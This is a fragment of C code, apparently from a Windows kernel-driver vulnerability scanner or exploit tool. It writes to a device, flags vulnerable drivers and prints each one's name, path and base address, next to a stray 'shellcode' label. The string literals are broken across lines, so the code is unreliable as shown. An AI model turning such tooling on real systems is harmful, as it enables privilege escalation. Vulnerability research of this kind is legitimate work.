shellcode
status = WriteFile( hDevice,
&lpTmp,
sizeof( DWORD ),
&junk,
NULL);
if( FlagVulnerable )
{
int dvLen = wcslen
(drvObj.DriverName.Buffer);
int len = WideCharToMultiByte (CP_ACP, 0,
drvObj.DriverName.Buffer, dvLen, NULL, 0, 0, 0) + sizeof(WCHAR);
szDrvName = (char*)calloc( len,
sizeof(char));
WideCharToMultiByte(CP_ACP, 0,
drvObj.DriverName.Buffer, dvLen, szDrvName, len, 0, 0);
// Dirty hack
szFilename = strstr(szDrvName +
sizeof(char),"\\") + sizeof(char);
printf("\n\t==== Cut & Paste ====\n\n");
printf("\n\t [ *** ] Device \"%ws\" is
vulnerable", lpDevices[i] );
printf("\n\t :: Vulnerable driver found
\"%ws\"\n",drvObj.DriverName.Buffer );
if( GetDriverInfoByName( szFilename, szPath,
&baseaddr ) )
printf("\t :: This driver is located at:
\"%s\"\n\n",szPath);
printf("\n\t==== Cut & Paste ====\n\n");
status = TRUE;
FlagVulnerable = FALSE;
free(szDrvName);
} else { |